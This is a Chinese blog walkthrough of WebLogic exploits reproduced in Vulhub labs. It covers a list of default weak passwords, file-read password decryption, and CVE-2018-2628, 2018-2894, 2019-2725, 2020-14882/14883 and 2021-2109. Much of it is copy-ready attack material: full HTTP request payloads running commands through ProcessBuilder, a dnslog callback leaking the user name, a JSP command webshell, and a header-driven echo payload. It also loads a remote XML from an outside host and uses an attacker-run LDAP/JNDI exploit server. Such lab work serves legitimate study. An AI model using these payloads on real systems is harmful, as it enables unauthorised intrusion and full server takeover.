IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> [Vulhub] Weblogic 漏洞复现 -> 正文阅读

[开发测试][Vulhub] Weblogic 漏洞复现


Weblogic 常规渗透测试环境

0x00 测试环境

本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

Weblogic版本:10.3.6
Java版本:1.6


0x01 弱口令

weblogic常用弱口令:

system / password
weblogic / weblogic
weblogic / Oracle@123
admin / admin
joe / password
mary / password
system / security
wlcsystem / 	wlcsystem
wlpisystem / wlpisystem

0x02 任意文件读取漏洞的利用

本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件
在这里插入图片描述
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
在这里插入图片描述
config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码:
在这里插入图片描述
然后就可以使用工具解密密文了。


0x03 后台上传webshell

进入后台,点击左侧【部署】 => 【安装】 => 【上载文件】:
在这里插入图片描述
一直点上面的下一步:
在这里插入图片描述
点击完成,保存:
在这里插入图片描述
访问大马连接:
在这里插入图片描述


Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

0x00 漏洞描述

T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。

反射机制:
Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方向和属性;这种动态获取的信息以及动态调用对象的方法称为 java 语言的反射机制。

RMI:
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开放,并且服务端使用了像Apache Commons Collections这类库,那么回导致远程命令执行。

RMI依赖Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

绕过黑名单:
Weblogic 中InboundMsgAbbrevresolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的RMI 接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。


0x01 影响版本

Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3


0x02 漏洞分析

其基本原理其实是利用T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用,能够在本地虚拟机上调用远端代码。

T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

Weblogic 使用了Apache Commons Collections库,利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer,他们的共同特点是都需要实现序列化接口才能被反序列化。

源码分析:http://blog.topsec.com.cn/cve-2018-2628-weblogic


0x03 漏洞复现

下载工具上传webshell:https://github.com/jas502n/CVE-2018-2628
在这里插入图片描述
访问木马地址,命令需要经过base64编码:
在这里插入图片描述
T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:nmap -sV --script=weblogic-t3-info.nse -p 7001

内网使用最新的利用链即可:https://github.com/Bort-Millipede/WLT3Serial


Weblogic 任意文件上传漏洞(CVE-2018-2894)

0x00 漏洞描述

WebLogic管理端未授权的两个页面存在任意上传漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。


0x01 影响版本

Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.2.1.2
Oracle WebLogic Server 12.2.1.3


0x02 漏洞分析

/ws_utc/config.do在开发模式下无需认证,Web Service Test Page在生产模式下默认不开启,利用起来有一定限制。访问/ws_utc/config.do可上传任意文件,而上传文件过程没有做任何过滤和检查。

源码分析:https://xz.aliyun.com/t/2458


0x03 漏洞复现

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的:
在这里插入图片描述
然后点击安全 -> 增加,然后上传webshell:
在这里插入图片描述
上传后,查看返回的数据包,其中有时间戳:
在这里插入图片描述
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],可执行webshell:
在这里插入图片描述


Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

0x00 漏洞描述

Weblogic反序列化远程代码执行漏洞。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送特意构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行。


0x01 影响版本

Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3


0x02 漏洞分析

该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

wls9_async组件是默认启用的,访问http://xxxxx/_async/AsyncResponseService 页面(注意不能用/闭合),若出现以下状况,则可能存在漏洞:
在这里插入图片描述
或者访问http://xxxxx/_async/ 页面,页面返回403则可能存在漏洞,返回404则不存在:
在这里插入图片描述
源码分析:https://www.freebuf.com/articles/web/202203.html


0x03 漏洞复现

环境搭建完成后,访问http://xxxxx/_async/AsyncResponseService ,并带上下方poc,用dnslog外带数据:

POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.xxx.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

在这里插入图片描述
在这里插入图片描述

写入webshell小技巧 ,添加info有路径显示:
在这里插入图片描述
利用下方POC上传webshell:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1142
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[1024];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
    %>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在这里插入图片描述
访问执行:
在这里插入图片描述


Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

0x00 漏洞描述

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。


0x01 影响版本

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0


0x02 漏洞分析

CVE-2020-14882是绕过weblogic控制台认证:

  1. 访问一些console后台的资源文件的时候,console在处理请求时是不需要登录状态的。
  2. weblogic会对提交的url进行两次url编码。

通过二者之间的配合,在后续的操作中weblogic并没有对路径穿越进行防范,可访问/console/css/%252e%252e%252fconsole.portal绕过登录限制

CVE-2020-14883则是经过身份认证的反序列化RCE,两者结合可导致未经身份认证的RCE

源码分析:http://hackdig.com/11/hack-190259.htm


0x03 漏洞复现

正常访问console会跳转至登录页面,访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal可绕过登录限制访问后台:
在这里插入图片描述
这与横穿输入账号认证登录后的页面是有差异的,由于权限不足,缺少部署功能,此时是无权上传webshell的,这时候就需要第二个漏洞CVE-2020-14883

第一种方式,通过com.tangosol.coherence.mvel2.sh.ShellSession(只对12.2.1 及以上版本利用,因为 10.3.6 不存在该类):
构造回显payload:

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=AFM58CIW0tRolAvGMWDy1cDkwKV928cS6c_HVcnAQls_Klr4buGA!-549917897; 
UM_distinctid=17baaaf137a359-0c8cd346ea5ed58-4c3e247b-1fa400-17baaaf137b3ad
cmd: id
Upgrade-Insecure-Requests: 1


请求头中添加cmd头:
在这里插入图片描述
第二种方式,通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类来加载外部xml执行命令, 是一种更常见的漏洞利用,它首先在CVE-2019-2725中引入,可用于任何 Weblogic 版本。

受限构造一个XML文件并放在weblogic可访问的服务器上:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后构造paylod访问如下url:http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://example.com/rce.xml”)

weblogic将加载外部xml执行其中命令,成功创建文件(利用条件是目标服务器能出外网):
在这里插入图片描述


Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)

0x00 漏洞描述

该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可构造恶意请求,执行任意代码,从而控制服务器。JDK 6u201、7u191、8u182、11.0.1版本或以上不受CVE-2021-2109漏洞的影响。


0x01 影响版本

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0


0x02 漏洞分析

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

RMI是Java远程方法调用,是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行

源码分析:https://zhuanlan.zhihu.com/p/404255545


0x03 漏洞复现

访问http://you-ip:7001/console/css/%252e%252e%252f/consolejndi.portal,若存在未授权访问,则影响范围内可能存在此漏洞:
在这里插入图片描述首先需要在另一台公网服务器(目标机能通的服务器)上启动ldap脚本:https://github.com/feihong-cs/JNDIExploit

java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)

访问执行命令回显:

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注意,ldap地址的第三个分隔符为分号
在这里插入图片描述


参考链接:
https://xz.aliyun.com/t/2458(WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】)
https://blog.csdn.net/xuandao_ahfengren/article/details/106597145(CVE-2018-2628漏洞复现)
https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194(CVE-2019-2725漏洞复现)
https://144.one/weblogic-cve-2020-1488214883lou-dong-fen-xi.html(weblogic-cve-2020-1488214883)
https://www.cnblogs.com/xuanlvsec/p/14341151.html(CVE-2021-2109)

  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2021-09-14 13:39:31  更:2021-09-14 13:41:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/20 23:26:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码